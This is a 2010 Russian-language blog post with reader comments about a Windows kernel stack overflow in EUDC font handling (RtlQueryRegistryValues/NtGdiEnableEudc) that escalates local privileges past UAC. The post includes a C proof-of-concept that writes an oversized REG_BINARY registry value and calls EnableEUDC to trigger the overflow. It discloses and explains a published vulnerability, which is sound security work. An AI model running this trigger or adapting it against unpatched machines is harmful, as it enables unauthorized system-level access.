26 ноября 2010 в 21:08

Новая уязвимость позволяет повысить привилегии в Win7/Vista в обход UAC

Интересная уязвимость для повышения локальных привилегий до уровня системы, появилась 24 ноября в виде статьи на ресурсе The Code Project (http://www.codeproject.com/KB/vista-security/uac.aspx). Буквально через несколько часов она была удалена с этого ресурса, но информация уже распространилась по сети и на мой взгляд удалять ее было бессмысленно. Повысить привилегии можно на системах начиная от XP и до Vista/Win7, причем серверные версии тоже находятся под ударом. А что еще более интересно уязвимость актуальна, как на х86 системах, так и на х64. Правда представленный PoC код удалось успешно запустить только на х86 системах.




Всему виной недостаточный контроль параметров функции WinAPI RtlQueryRegistryValues():

NTSTATUS RtlQueryRegistryValues(
__in ULONG RelativeTo,
__in PCWSTR Path,
__inout PRTL_QUERY_REGISTRY_TABLE QueryTable,
__in_opt PVOID Context,
__in_opt PVOID Environment
);


Эта функция используется для получения сразу нескольких параметров реестра и на выходе заполняет структуру _RTL_QUERY_REGISTRY_TABLE с результатами.

typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;


В поле EntryContext, из этой структуры, определяется тип выходного буфера и вот тут существует интересный нюанс, буфер может быть интерпретирован как структура UNICODE_STRING или как буфер из ULONG значений.

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;


По заполнению этого буфера определяется тип ключа реестра, к которому был сделан запрос. Все бы хорошо, но был найден ключ реестра HKCU\EUDC\[Language]\SystemDefaultEUDCFont, к которому можно обращаться только с правами пользователя и изменять его тип на REG_BINARY посредством вызова функции Win32k.sys->NtGdiEnableEudc(). В процессе работы этой функции предполагается, что значение реестра REG_SZ и буфер размещается в стеке, как структура UNICODE_STRING из которой первое значение ULONG интерпретирует длину буфера, но если значение реестра представлено, как REG_BINARY, то возникает классическое переполнение в стеке.



С учетом всех этих нюансов был разработан PoC (by noobpwnftw), который формирует в реестре значение перезаписывающее адрес возврата на стеке и выполняет произвольный буфер с кодом в режиме ядра.

Подробное описание уязвимости лежит здесь

http://www.kb.cert.org/vuls/id/529673
http://secunia.com/advisories/42356

Альтернативный PoC от d_olex (оригинал):
#define EUDC_FONT_VAL "SystemDefaultEUDCFont"

int _tmain(int argc, _TCHAR* argv[])
{
   HKEY hKey;
   char szKeyName[MAX_PATH], Buff[0x600];

   sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d", GetACP());

   // создание ключа реестра
   LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
   if (Code != ERROR_SUCCESS)
   {
     printf("ERROR: RegCreateKey() fails with status %d\n", Code);
     return -1;
   }

   // удаление старого параметра
   RegDeleteValue(hKey, EUDC_FONT_VAL);

   // создание нового параметра "SystemDefaultEUDCFont" типа REG_BINARY
   FillMemory(Buff, sizeof(Buff), 'A');
   Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);

   RegCloseKey(hKey);

   if (Code != ERROR_SUCCESS)
   {
     printf("ERROR: RegSetValueEx() fails with status %d\n", Code);
     return -1;
   }

   // вызов уязвимой функции
   EnableEUDC(TRUE);

   return 0;
}
matrosov @matrosov
карма
39,0
рейтинг 0,0
Самое читаемое Разработка

Комментарии (35)

  • 0
    • +11
      Тут больше технических подробностей
      • +5
        Да, всегда восхищался чуваками, которые копаются на низком уровне и находят такие вот лазейки.
    • +1
      В указаном посте нет не только никакой полезной информации, кроме факта наличия какой то уязвимости, но и содержится ряд технических неточностей.
  • 0
    Что-то я не могу понять, по данной вами ссылкой указано:
    > This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
    > Windows Vista/2008 6.1.6000 x32,
    > Windows Vista/2008 6.1.6001 x32,
    > Windows 7 6.2.7600 x32,
    > Windows 7/2008 R2 6.2.7600 x64.

    А в вашей статье указана ХР. Как это можно объяснить?
    • +3
      На XP не работает. Не знаю почему уже во 2-й заметке на Хабре дописывают XP.
    • +1
      И вообще данный PoC, судя по if((vi.dwBuildNumber >= 6000 && !bIsWow64) || (vi.dwBuildNumber >= 7600 && bIsWow64)) расчитано на финальные билды x86.
    • +3
      Данный конкретный PoC не работает, но сама уязвимость актуальна для этой платформы.
      • –2
        Как я понял, дырка находится в UAC API. Я не вникал в устройство Мелкософтовских ОС, но я считал, что UAC впервые появился в Vista, я прав? Тогда как данная уязвимость может работать на ХР?
        • +4
          Нет, уязвимость совсем в другом и UAC тут только к тому упомянут, что он замечательно обходится при помощи этой уязвимости :)
      • 0
        А этот «exploit-db.com/exploits/15589/» работает. Правда после старта, система перезагружается =(
  • –1
    Cookies в ядре не используются?
  • +2
    Где же тролли?
    • 0
      Поздний вечер пятницы, тролли упилить пивом или чем покрепче, а потому явиться в тред не в состоянии.
    • +18
      РЕШЕТО!!!

      А теперь дайте попить пива спокойно.
    • –2
      >Где же тролли?

      В параллельном топике :)
    • +2
      На лоре смакуют www.linux.org.ru/forum/talks/5611188
      • 0
        Спасибо!
  • 0
    Вечер уязвимостей на Хабре?)
  • +2
    В любом случае кто то же должен сказать: РЕШЕТО!
    • НЛО прилетело и опубликовало эту надпись здесь
    • +2
      Дуршлаг!
  • +1
    Уязвимость действительно работает. Проверил на Win7 x86 (as is, без обновлений), после запуска эксплоита из-под ограниченного юзера можно добавить себя же в группу администраторов, после этого случается бсод, но после перезагрузки пользователь уже админ. На WinXP (если предварительно убрать проверку версии) под ограниченной учётной записью система просто вываливается в бсод.
    • +1
      Да, как и следовало ожидать, UAC молчит. Очень серьёзная уязвимость, чтобы хоть как-то снизить масштабы распространения заплатку должны добавить в SP1.
  • 0
    Ждем патч. И не надо кричать виндовз отстой, не бывает не уязвиого ПО.
    • +1
      Никто и не кричал, по крайней мере в этом топике.

      Вот если бы комменты скатились в холивар Windows vs Linux, например, то обязательно нашлись бы фанатики, которые сказали бы:
      1. Линукс не имеет уязвимостей
      2. Виндовс не имеет уязвимостей
      3. Линукс — отстой
      4. Виндовс — отстой

      И было бы весело. :)
      • +13
        Linux имеет уязвимости. Уязвимости имеют Windows.
    • +1
      кричать «ведро» не надо, нужно просто ставить галочки. Например, в флейме любят писать, что мол, у майкрософта UAC, а у вас gksudo. Вот и ответ — UAC не UAC, а работать не мешает.
      • 0
        gksudo вообще не похож на UAC. Ни по решаемым задачам ни по реализации. Собственно в данном случае — это не обход UAC, а локальный EoP (что в общем тоже неприятно, но конкретно к UAC не имеет вообще никакого отношения).
  • +2
    Линуксоиды обиделись за недавнюю локальную уязвимость и оперативненько всем сообществом вздрюкнули злорадствующих виндузоидов, чтоб жизнь малиной не казалась. Вот они, кибервойны.
    • +1
      Да вам с таким воображением технотриллеры похлеще Тома Кленси писать можно.
  • +4
    // Всему винной недостаточный контроль параметров функции WinAPI RtlQueryRegistryValues():
    Либо винной, либо пивной. :)
  • +1
    Кое-кто начитался статьи про вызов критического сбоя в Windows на Хабрахабре :)
  • +1
    А где же хвалёный DEP?
    • 0
      Там же не юзерспейс

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.